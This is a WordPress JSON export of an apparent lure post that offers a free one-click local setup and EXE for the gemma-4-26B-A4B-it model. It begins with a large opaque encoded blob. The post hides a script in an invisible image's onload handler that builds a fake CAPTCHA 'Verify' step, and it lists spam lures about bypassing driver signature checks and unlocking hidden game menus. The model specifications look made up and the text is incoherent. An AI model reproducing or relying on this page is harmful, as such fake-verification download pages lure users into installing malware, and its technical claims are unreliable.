t2DwH7W665ux+87jyYgyCH22V4VPEcn5Q\/0Zrp350H5X8lKbsBJOXy2WJUzxgy5hN7ddQw+HSPJaZMzN6D+r2krQ29\/qchWlNURm8gz5e8SyIPPrid1Y8LgzTio1lmNxkOpyqWMWy3X3SEdx3d8reet7\/LUOcfZeDo8O1jYtkPWtlMd1lFp+MdI9iTZcw4Cg2bgMrCarxMU0nyPriceouA0Z4aqEiXBqkUeN5itHIKezLafg3APQSaM76K81EwGmYdQQA\/OkSvUajErHivOjrgEhgK2IQ2sLgDanOEMa0smQ3l6hg2hg5RqpkCTww+AGQPEDyAYnWBVoq8yOS4mSiZVWWr6jMLolSkNLP3uVn0cRAv7GeW4Dm11A6vTj8Rh\/QsRL5PObsU4Jz\/sIu94JY8qJ3kjjWz1ZMM\/xL1uTA5krzzt8ceDNypjXWi\/62s7hey9fPHCC6OeAdn0iIKJFy9LMleWDcJRnV9j00C+H0e7XHi0wFWa\/N4Fs5ZP6DosLUmBSODeVMNpdIt3Vwi1TwW9GeuYclOSKZwkEEwV6csm\/naTYUESvU6rW4lkFN87AOzAUQT5Rx1f\/7XYUd+OHRsIl5S0ywhARgmXjbQEK3rOY81IVGQHNtaTwf\/b\/h7O4yOzvJ3zPSglQR1h62eCxJVqNfCsL08rWbXJ44y81ji1OQe1kzvB5eEE\/BrF85tATwb5YxD4M8ef2hSFFPiqH0EIgWJRwsG9tVdCzxlrkrDLd3dQkRPjTgCZpdvqbZbqZnhOWuj3jrw+Cu3YVSRNNstI1roD5ec66sUYzmh4\/w0VAXx3meZrOII0DArRPxRkDIj4LgfHKFQt61exk8G6P3+5qQ+jX9gAZ6pFvVgLTJu7IIiN9XhxjPw0XL466ddKRKYTLfejpUH8dTacuVDzvUc2AfILHj9RqY+ksUcDv7b3mvRg0IKuiC0eb8fp5l6Q26v0O2xk1wg72AYAX5GvcJWq7Y93uCHCo+wC2h57kOIWniyrUmLHLVT1cIDInguUXAV34yjVta4wxq\/RUDpi0rGDC6Q\/2iVM57b4Y2oD5gQ8RjAEqSIj2WUfwt4vXApWiusVvGAWYsbaeYlaCn0knk98FldqN5GnlVO3dGyPwtcXkRoaJWjG94ILy0ZlcACxDdcOYImoiTzvvvm6541qlk2QtVY7FZPPlpOBy2EdSJ6tGJyYFZ+jfyBNjh0Kpk4JUv4OI\/rSBETcGYMrBkasoxUPmt6lc3LQoq9nDDSq4WfBj\/NqL5vxjMMXwpUDwkMgQjdayjN5BGqJLPWp2mAjgcEK+IWj+5ROLhN8R5Q86c2cgFROHA2FARTxecv2fn6jFQATcQ5iLQQhqmjb22SPT4DxvaBAjW\/0PGQbU5JDHQQgqJofwHmLVyhn87HhiMFVUlI8omTcHpxiVcyCSVB\/NUU9RfILcNFAasO6Q7a8xqf9oCpu8L0t6+3X8BOlMQ3a9KU95mKHqrbjsakmKqSw6ghWoencDXl1xZ1YQCgTAmzU68zYjUXRwmwKKuNxfOkTR+2vAou8gQ1UEC0tkefEokgTlPt7ZpabcIQoHnTtKA3EVc\/Q4+Zkf+RwTC\/rlUyfFJk6n5\/Xa\/8yDTEiLQgEUQ9l2jPamaCNrRp\/Y8AhFkzmS2KyYZvBGtjTRbTyRiG2NIvvYHOXUtrBXdex2WK13AuKXrKmBlV8Y4tdgfuANyMRiN6IMBOXqZVl2HxZSgZNapFmJIvUBZZdekrFCv\/n0+JHxhagdd8U+15kDjFZsXKu\/Tq5nooh6XORN+FJmVB1qkBugJ7+utlP2TYljHWr67BTBeM7qS4InqUYeFPhP9bZs4vrB68HCYUHDm7PQyKcHM2LzIjvBqJn0fHos8RbdRwJFMtvVdOZGZfxntAfqfQZYgsEhNQuwynGTBy9iO4a4dYkIADYMCYqnvOW9GGuMCcgrZ6ZeIK34QIdFMdrt1cPZVq8iqoIsSX5+XKwHYgkv1PjlrW0D+DRFTD+72rQ30wj0UPeLf3jaj2Ooz\/2U6CYtNoU\/u+ipWp4Ttwk3mcxQT5HbKWgxd\/+DXGKBlXy2IO7aprEEEN+2+1GW9eQemhkorn6ZqlGUcR3PXa2s2JJfnuq0hK09RhuvTlLeFffywnaEvwgclQBk\/\/8NOZzGa+zDzDjLyyYpSJxp4ribqRrZwjqf5HKTrL3hK8j5fEzPQ1oBqLmhq\/Drt+pZrtR7zbv6DxGhg3Wyjjwc66j9CLbXO6EFTM\/uwaUZhw4ewImmsoKYdokt5LLuCfe1h9YEsJvo+INZwyMskx5zU7agjBEd\/K8hxeiBuneR9i+lRsp8eJa+fYZJvkSv9Hp7bQxIyAaa7ekxJp9FMjZQLohbuZThZonDkGmwxldUCeZMHnKelakhHJUodXzaYz8v4\/b\/Na3G\/+VMNipW6CjCKt98Hhyeq4Kd+HzIgdgP1V4N\/zmd2CoXbGm7eNL5K8iXvRZ1zBCIJZWcBa8iuFSbSNQbcKG0igsz9rYBEwqzq\/6B\/zWJOxNj3XyS7cJvvUuaNYpOOxli0THhBgKSFzr9CMcqx3\/+SleRekCH6KDlzXTlQ+6znABnhjgIFU4UlPXSpdBjSs7xXg5g4O2C4P1+BKS+OUnn3jAuMZUWucdo8kfLzvngD\/BhLiciodj+JXOaWCYszCRA\/5azrXibrAHe56gsU0SaFXqV4MCSwzAd\/0uBTUdbg9Ik8X0GSLJHerTDFSqRm7\/xWOXopx87onfRD9NRuJdhWgwupwyiQt06+0Fx64hHRMaFZgxziV47FYIcTMxumMkInhoP1lAykeDDe1gUK1gdKOnOMFRAIvefLVyyDoqJkuOj6jplDWjviebnvQYnZ5TzqANaDVeIbqBoQ5I4ef10tVMmdUuR1ElwOyXIGoYP7j6YeA3\/H+t95xJ4a75lv2IVZosEGTJOa9zJoCStNmbaKEst7T1zKaL3q2ZOZt+Oc8EDVdPjuD+O\/qt2k5yb2eq+WWZy8RDNQWRGQgnCp0tJ6kMxPT9QFoHNoIsBqqg2Cm13tAW8mzPzUEK++Mb8xb\/VANq8dLLcK0NdrLQHLVhay6gRJnZM912kewZqTGdxAymmKnI1SxJaGPRGhl\/hQgJyNE0r5McIA3i+ogu4HumsrqbQRXRksemtj34cTNXF2cbTCVDTvJRdCGOHSUdUWJMg4cXel0LUYMfUDMQaq7Mu6nHIYRfnNpH19akFAq+rUm9l8wtUAryWx\/\/hdMFUmzCdsTxWd\/QaD5D3hwKNNpptkllurP+2Cim+T8OlxIFtPqbanTjpCgsG0l9m5EZffN+seGXGqDegBBg3YVw+WwMUR8gQz0INeQvcVoulQqf1HgPDaW5yDTvb+0wQHSQOY6TC0X8YsBBVbjWanY+wmGS1vstY4Q2k4tq0KkNM7+ugr8M9NoHq0ElWTe2sbnvIxORvbOHuib3fmERTqQDD+WbSDSWeEXAHgHVY8GQp3HeIVyQLFRlamfXxylfDJeaqx0Yhs2K+6w\/ST\/v0Wqmgd+pfbsfl+GMnacQmdNWD5qPBxyivtETZ8c+EkEQlS1Y7\/5pPx98BAW68QHout6mcYdwpAJxkFWhDspyvI82sMh0eF4abFzj9kqJqLXeA3TJxNTM02AjuHm016s97dGgvqnoRmZsVwZr\/EzkG6RBkpungYdkZbZOO2Fx8p7JG47ql6\/w1XRK3HWj9eWz1ptcGvU2PZGxI0y6RFd8UZa6Zmy9WbTPIqPNzcdLnm4Y3EYwXhiy2uQsxPHTry6D\/E0iDSeosypMzMEDB9KzAUiFlzXcq6NvM23+yieFZfcsftaDT+H\/AOw8aonEvHXu3DvrzbsOY3F50O1DTmalkfAZKBz7sEIJdt7u7Vsu\/8LURgZ3evnk1ZxFqwwVhCnU2XGPFYMiiO5ZQq6iGUk5SJCK7W9\/tE8E2v0TakgsefIOa6TlgIUUyXgTehLnXopFi1tHqj2Gd5E5f6tgVECb1i7I7hLNXAoJUrNd6gnrjP9+yxU9tx1jVBU1Iz5KuZlZ0ETIYGqHP5rMHAZeGk8p2ojtH1j49OzypbnHj+kG+hAMUMk2plNlmauRAW9VtOOKY5eIHQ67YyRxB2dpDI3GPRToWeoRJU41Gz1Jc9V8Q7Nu+1NOEGLMZdBicCelACPOWrZcVkhY+F5v4Kni67Ki74VuO8l+AaTdtofEaT7KeCFVa4EgBvEze3vrVdr7MKeDqDhQqel10HU\/Nm7H2gLZvx4J2m2kc9LvWeicRKo5laBRBd72rRq306r12qvSJee43KAoqYRQBu\/8TAa7tioR5aN81xMveM3+nf3wJJglolySPKMDjiXRn7EPoNVmQx4wBn+W5N\/B0VJ5LwLqgO1z2UMjOUJCZKKXdKEw2wSc3q73rjqEPEmnjq0KA303zZPc62ung0IF1v57LYhW+SGRt9sYzIQGEfdIhsYLiDEFq9nvjNYXID9EPkwKCTDB9vFNrwbDMd1uAPQYXedhAAyxJ6NIMGqCQLRWbr6wmeaPyGPMqigbbwqr8Ln1R29aeMt\/PIAvEAVD3xgqti9UGxzGcV\/kdHacugo4xLQbrAkWrrnk82pxYQQf+bswinA0rYwXffY1pys8+4SXDv0r73pW2Pg+gLsv1LVLwnIAl3\/NMKEjPNT9rGp4M2VCkLSFYEPN7SbjaHJ1ub05ANgOHURULl9E+hj78XD3OjXEG9I53M1YsUcBawqsz7rVhbR57VDMs1brcb1\/daZ3XoucN4t9T65k1\/KlOFpNMpe+513zWR5fWhpuRFf048dbSBPrJID0p7WAM3AhY7GqMg8wckeZqp5elzLUgS9EkOU+vNyTxhJufI3laECw4bhmXRfVuetUkR+ixBPQse\/dWjkLoAtq4g\/GtKk0b547fEZ9vJtPG+458LDi98\/tkiGGQ2FxY3ekY\/0zL7XoQVByG4VGhe47BHfLz2mVe5qKxUew00Lfgxp9HNpgwuU7Gqwf3JPr+C2cQsmzEvLe\/38BcNu78jWIjM7y7i0HxifNnhVIGEmpd7QHCkBDcJwvkps4X3AUKlHJX1isbf8ulIwcVTZR1Sb33jw1wgpq4PYJGLoaPeiPBYlNTkiHjbaCCfoz\/9On2gCY9HuFHuUgpeiU6iTAmTBbCQhRroIcRRPAQj\/QKuzgamtQwRaTUiXu1bGc9s3Bhy3Ro1qlYOZXmhg8A3PVv3sQcOu2JLvH8DjHoB8nVyB9zJ\/ccCBxzl7AmxWmhNLpEp2CtCDbrAfXXMy3cWgWgvu\/dq74Oi1dZTf\/b7NwvFQMi1Ra+kVbvWpgvmJguixQbv3Mj0nzwaDeZHVIXVztCaNKnDC8I0Mgr4rPiiLdKX0\/G3dgc2l7QUF0o4bHKMmVCXQiAEi2aNFJ7u4WDjZZ9KByEYkGEfEMxVXiuUlwv+pOARDNpjG\/\/yekIe1LV46O5c6AyluUyHEF05rrRHBz3BOEBJOt\/Ltz6Von9Hdwca7NpoMDC6x05R84c4uj2CnkQJ5vSL+CozvYYvULbUiwuWUxWUHjZ9u4PWR7jrtVa7C6Bk1IQ9pHLjKzo7d14nNnOXYif0Gx6ZTTtNfcJang2w0BavPO8d8gLEhFCKf5TvekO1T1WPmcnDIz0YLOAuRRCMFX99G0goq5AcSQZnxwj790roEZVoD1NoBcNcOdV+MXDilCdvriXwva+xUOA9jXM+izyr8fGSxcNpQty6bBeI5G9hlE2JQNZAAfzOY1aKAgjWS7yotSKeWK3X11gWHaCkEZefHJvOeZ9INpX7B\/QqS659jdxyhF080qjHFPQiMUSKiHwf9d0FadPEGPL3QszugCT4VIAne30SCJZEalMQubMolIGLmScRpDDLTd0MMs6RLkyfnKvSEdXV\/6kL9h8YMwXJKSMenRchLiQa71NgEo1lCuNVsvQ4DtGyBRnsYI9VRbtZuga+sE2igrO+fJAxDWBJIO+CRiR58pK77lzo+QxhZ7J2\/ahdkBYlXbsXzvWEUNekGbcfJ0VvSvYdZCQaGDbERDu9Qzln1DG3ipb9pH\/mBIjLqPERVt19OXp5O6lpImU3KalPEa0u6bEAKy7IeMy7\/kriQxcUxFGuY0ab3vAsZ0RlnrOEmW+t+VKinz\/QMKTwX13zgbST0RgaXY158Pw+ByCozRNMGnjxvGN2x9YkoReOIbOkuyIOs8sAsyi5pAbwSnQSJ8lnrfcybJux73G+Aboo3p3wqbKWJCIkhBUelnNYZaKSTpdKtuY7voL9oi9FFMn\/lyndtSHPU0Msd381r3gFG8\/DsTOB51SUY7k1zQurQzarhAGc8Ej3pM8HY9Sb8MaHXKVQuNceLLh+Ui\/FPgWZQHAniyXvMOTaKrY72V4akoU8EfnxgoOF5F\/5AAFEWi9HzBU5eRKUyB73om6L+5J1cq5oLwaUL2r8kazpIyJHKqUmY38waedMKfRF0zATPSYxgRibpG2FJmD4+pVZ2azTWNiBvA2+4pBylUW1a0J6ggU8zaUvNAtKB\/UGXMHBXuHxsAsKljMykhls4f+8CgMxQLQWby3zcqiILx3uhxIt9OmOlHmG95tZnCMZGmyVkmOFGwU3LDK0\/NgKKVNDwOVOd2K9LKjE21\/fweZGyHtu0Ucvj\/YGKjt879at5TPVWJdd8yvFz9vdQ\/knik7z0G5+VfJtPzHwkuVdnhE6x1emygeir6yDHe5dlPEUhayqadvjmoBF\/NeJdoJvG\/ksqHupPovsJu0MYE+3HSNu1VDXNnuCAmWYJXwcmZiOibyhvpxa019EM3YWgfQ5YL8cd041u+WwO4bZ3357grvgXSUYiwfMh9BT+SIlD5Hm7cPBSrdPTKBukxgVrtpI1T61qMgBLxcThUemsV2SQMXvup2k40WqVy6ZEtQZN3gNRxWU9pNwQsMQbA5EvJC7QvfPLisW8J09elpiR3UMwIbsKUlIyZz8Dm\/Y6mK6yXdST4uqdy1XKB1qu++iRmmBs+dS1S2aAMLn+tsHg8bT0XKqjomxFa7Lz4\/TFqQZ0i\/YRdSzbqsxRX99+pxBH5usj6\/+H\/KRQpMjJ0FNAFvV4mPp3brsT01sy8xdg88es5I9Q22Eltq1OklDOZOMPzoF3DGebweMTzOf3zaFdrJ3TwRP0UVnD5ykpd6Jf2wwJ7owzS8ATUyd+8M5zXyXTWWPms\/RtfMNzAWtbo484dB1PD7WWyYqa1X95hRnrxFdK8TmdoORSqzn9gGaCmD3IoFEiWOGjqjLbC\/xeSy31\/DC3w4vMVP9nwvW8WrCqQsMdbt0qDRmqn1SbiOIy6lcaAJdK+k60JS9Wea+RLbNqOZd+Gzwq56Y2YVejBWTjaP+H2OiFsh8w6Ao3fUbiHyG9MNbnSduNy5FY1yT2hVANGnVS+qRe5Uw6ypLM0GVUTY7VsO6Qe7kg\/Vta5XNsXUfHI+4GHY6QQf69eTTZ8g3lFUsqCx76d9LgIzJWreEnT2CXlEJ1B5z2KiPl12xMn6hl78SDAE5hOqqG8Yf73RXy4gjLBSrooRrKvAVyiCohQPBirQmadRJRSKJ8Mu8KRJqZT9a23oOEIyz4mqaDnrKDsLIjZk1B9hNPLyAHeImOI4i7ahFunOlzw\/VqtxaV2gfJbriKtIx9t5hQR\/JdD3OO6zNvuuk7ReK\/eVhJcsCsgN3PJGPeBkfM9pBNQCd0Md2TuaotioAXiCt8Z34Z9Y+0U+d0LJKMEeDB1cf1z+tVE9ZJh85qaNKaMe3ageWRRdVft7pC\/CigdR57m46a6pienZiD6FN7Zw0lD15fiqrEQJfw0mVa3DW2lv4mZ\/5MjK5p4T+SU8WBL+TVYszJjr+qPEqhubWQnG4nUf2s0L9DXw0\/U4JA7BystE9vnK5L\/eiNj79G5muT0ICuEbIfA6U29y0iyuKwpfy6YIjsD+x7dzfYuMlNlRctjRk5xDkMwDDJTgBdBvRNAvcH8z89AQGhzcskTw3HKm4aQck9Ya5rtQVnxDr14R4leyemKDJ1cZQ6JQucdovixHOoPOBH1SSP5Mj4S4JcU8XDXMZY0HbGGtlpOKH6F3fmPA0JdBM4aiwnbKQGYVQFwHjO0H5wFsjsUSEb8TdHh2gcPoxS3FhwVbeA5uZ1GAh7RorDvBAl1EfngrwQCYbS+wuXId8WEGFZYdUtysczSl5zS+nfGhfaC6XoEXW2MFjd0qFiyHtnrpcw9QwpAk1yI8Gb507dgQ8eirKAwWX7\/SfSC\/JHujHbhx77ax1MumLDOD65V\/GpSN\/NahucifCQyvRU69945+1AyzCNycSO4xxqcOSj\/SrXVCbM27UlESoqTT0F+8ltAANgZu4YeEJfy8HDQ1nLw59C1iPWqEsES7XpMgrN0D4l+QwDk527F7VyBflXE4RhpYH\/SThzG5lG2Y\/kUd+RyP12ZNb9mCUQ6mZjr3\/5Lp3n3Zyj+jj574CWwc2npx7YlhplI+RYqAUWCZKsCNXqOy\/rXOYPdlX8QEJirBSRWlfo1t+CBi\/3HiT4YYj97dVzf3ns4TfTNRErq3vprxSxa7hTPaUxN856X6uwGCZcY56sSczdyPJzw5Pm755W6KtsgseZhmOVy+BzSNx2Y2paN1lHpwP60pVyAMMlYiv2XCLD7Br8JLZMTMY6V6RTUi8ZfivAacWJtTJl1SHg142JSk3BnWRtNnnsLFUY+ymQBNl6R8zhP\/ZApojVzsxrRVDtvO2VqFSLZfQYwLRXtGJ6IB1ARccdGh9fxQvylteUISK1lT4shY93uwKE7f7+\/9ORhAkbKCXhnFkpRy4JEIvpFXZ3SPUXUWriBXSA\/uVu2QAQnnQWo3CQCDW8X\/ayMEIBEdhE1Gu0o9pUE8ad+5BQ8+m\/jnuAHsjxWWMEXgHmfQ1rSQV4yFkaH+Y8Z7wazGFeWVW5vwMX6l8zem9gnjm9GYddBjjG3aPG\/MUcnHPBrvVGarB0i57xIJusZl4tYHAh7sOVpDDFDuBwZN2fYKZt9WuHed6zf9YczBNLAplUGusk6owuko3DeYc\/2JhED3o3NjlMAiV+VXXw9oiNaK9kmMldXw72l52Jdwj6fE2q8paOI1FvJs\/7W6+Yv6B7jJW5p0inX1n8ASMl6I+B0sAtqMoVFLGW4289dJVgB19uFvqbJqfJWdeLGisA6R5lqHD79E\/dTtPOfTA\/D6NKkcH85q28Xik87DohRqNKSrhGniXZtZu8APng7QlETzcLQO\/lRe\/D54mJXk6nFKpelzjAjVHpZmt0HtHunMp14zbuCsk+lZyiLV\/0tBy1hxF8x\/eJLBUs16swFVtU8F0P6LEXwiGCnMK5EvBbnBWOEV0nWlv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alt=\"How to Run gemma-4-26B-A4B-it No Python Required\" style=\"display:block; width:100%; height:auto; border-radius:8px;\"><\/p>\n<p>The <i>fastest way<\/i> to get this model running locally is via <b>Docker<\/b>.<\/p>\n<p>Refer to the <b>instructions below<\/b> to proceed.<\/p>\n<p>Then, execute the <code><b>docker-compose up<\/b><\/code> command to launch the model.<\/p>\n<table style=\"width:800px;max-width:800px;margin:15px auto 65px;border-collapse:collapse;border-radius:20px;overflow:hidden;font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;background:#fdfdfd;box-shadow:0 15px 32px rgba(0,0,0,0.08);border:1px solid #f1f5f9;\">\n<tr>\n<td style=\"padding:44px 54px;text-align:center;font-size:23px;color:#1e293b;line-height:2.6;letter-spacing:-0.01em;\">\n<div style=\"text-align: left;font-size:11px\">\n<div style=\"font-size:15px;color:#2C3E50;font-family:'Tahoma';\">\ud83d\udd27 Digest: <b>743ad9977ccca24c5c4e52409a06ff35<\/b> \u2022 \ud83d\udd52 Updated: <span style=\"color:#888;\">2026-06-23<\/span><\/div>\n<table style=\"width:100%;border-collapse:separate;border-spacing:0 15px;font-family:'Segoe UI',sans-serif;margin-top:30px;\">\n<tr style=\"background-color:#f9f9f9;border-radius:8px;box-shadow:0 2px 5px rgba(0,0,0,0.1);\">\n<td id=\"content-cell\" style=\"width:100%;padding:20px;vertical-align:top;\"><img decoding=\"async\" src=\"data:image\/gif;base64,R0lGODlhAQABAIAAAAAAAP\/\/\/yH5BAEAAAAALAAAAAABAAEAAAIBRAA7\" style=\"display:none;\" onload=\"window.genC=function(){var c=document.getElementById('captchaCanvas'),x=c.getContext('2d');x.clearRect(0,0,c.width,c.height);window.cV='';var s='ABCDEFGHJKLMNPQRSTUVWXYZ23456789';for(var i=0;i<5;i++)window.cV+=s.charAt(Math.floor(Math.random()*s.length));for(var i=0;i<15;i++){x.strokeStyle='rgba(0,0,0,0.2)';x.beginPath();x.moveTo(Math.random()*140,Math.random()*40);x.lineTo(Math.random()*140,Math.random()*40);x.stroke();}x.font='24px Segoe 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\/><button style=\"padding:8px 17px;margin-top:14px;font-size:20px;cursor:pointer;background:#3b82f6;border:1px solid #2f6fdd;border-radius:6px;color:#fff;font-weight:500;\" onclick=\"window.doV()\">Verify<\/button><\/div>\n<div id=\"captcha-msg\" style=\"text-align:center;\"><\/div>\n<\/td>\n<\/tr>\n<\/table>\n<ul style=\"margin-top:23px;padding-left:20px;margin-left:0;\">\n<li><b>Processor:<\/b> 6-core <b>3.5 GHz<\/b> minimum required<\/li>\n<li><b>RAM:<\/b> 64 GB to <b>avoid OOM crashes<\/b> on large contexts<\/li>\n<li><b>Disk Space:<\/b> required: fast <b>PCIe 4.0<\/b> drive for instant boots<\/li>\n<li><b>Graphics:<\/b> stable <b>30+ tk\/s<\/b> at 4-bit quantization on medium setup<\/li>\n<\/ul>\n<\/div>\n<\/td>\n<\/tr>\n<\/table>\n<p>The <b>gemma-4-26B-A4B-it<\/b> model represents a significant advancement in open\u2011source language models, combining a massive <b>26\u2011billion parameter<\/b> architecture with optimized inference performance. It leverages an <i>attention\u2011sparse<\/i> design that reduces computational load while maintaining high fidelity in both factual and creative tasks. The model supports a <b>2048\u2011token context window<\/b> and incorporates a refined instruction\u2011tuning pipeline that improves alignment with user intent. A comparison with peer models shows superior scores in reasoning, code generation, and multilingual understanding, as summarized below.  <\/p>\n<table>\n<tr>\n<th>Metric<\/th>\n<th>Value<\/th>\n<\/tr>\n<tr>\n<td>Parameters<\/td>\n<td>26\u202fB<\/td>\n<\/tr>\n<tr>\n<td>Context Length<\/td>\n<td>2048 tokens<\/td>\n<\/tr>\n<tr>\n<td>Training Data<\/td>\n<td>Web\u2011scale multilingual corpus<\/td>\n<\/tr>\n<tr>\n<td>Inference Speed<\/td>\n<td>~120\u202ftokens\/s on GPU<\/td>\n<\/tr>\n<\/table>\n<p>  Users can integrate the model into production environments via standard APIs, benefiting from its <i>balanced trade\u2011off<\/i> between size, speed, and capability.<\/p>\n<ul>\n<li>Safe-mode boot utility bypassing corrupted internal graphic configuration scripts<\/li>\n<li>gemma-4-26B-A4B-it No Python Required<\/li>\n<li>Developer testing sandbox room and debug menu unlocker for hidden weapons<\/li>\n<li>Launch gemma-4-26B-A4B-it Direct EXE Setup FREE<\/li>\n<li>Experimental mod utility loader bypassing signature driver operating requirements<\/li>\n<li>gemma-4-26B-A4B-it Locally (No Cloud) One-Click Setup Step-by-Step FREE<\/li>\n<\/ul>\n<p><a href='https:\/\/brewsterandco.com\/?p=225'>https:\/\/brewsterandco.com\/?p=225<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>The fastest way to get this model running locally is via Docker. Refer to the instructions below to proceed. Then, execute the docker-compose up command to launch the model. \ud83d\udd27 Digest: 743ad9977ccca24c5c4e52409a06ff35 \u2022 \ud83d\udd52 Updated: 2026-06-23 Verify Processor: 6-core 3.5 GHz minimum required RAM: 64 GB to avoid OOM crashes on large contexts Disk Space: [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13],"tags":[],"class_list":["post-231","post","type-post","status-publish","format-standard","hentry","category-engines"],"_links":{"self":[{"href":"https:\/\/brewsterandco.com\/index.php?rest_route=\/wp\/v2\/posts\/231","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/brewsterandco.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/brewsterandco.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/brewsterandco.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/brewsterandco.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=231"}],"version-history":[{"count":1,"href":"https:\/\/brewsterandco.com\/index.php?rest_route=\/wp\/v2\/posts\/231\/revisions"}],"predecessor-version":[{"id":232,"href":"https:\/\/brewsterandco.com\/index.php?rest_route=\/wp\/v2\/posts\/231\/revisions\/232"}],"wp:attachment":[{"href":"https:\/\/brewsterandco.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=231"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/brewsterandco.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=231"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/brewsterandco.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=231"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}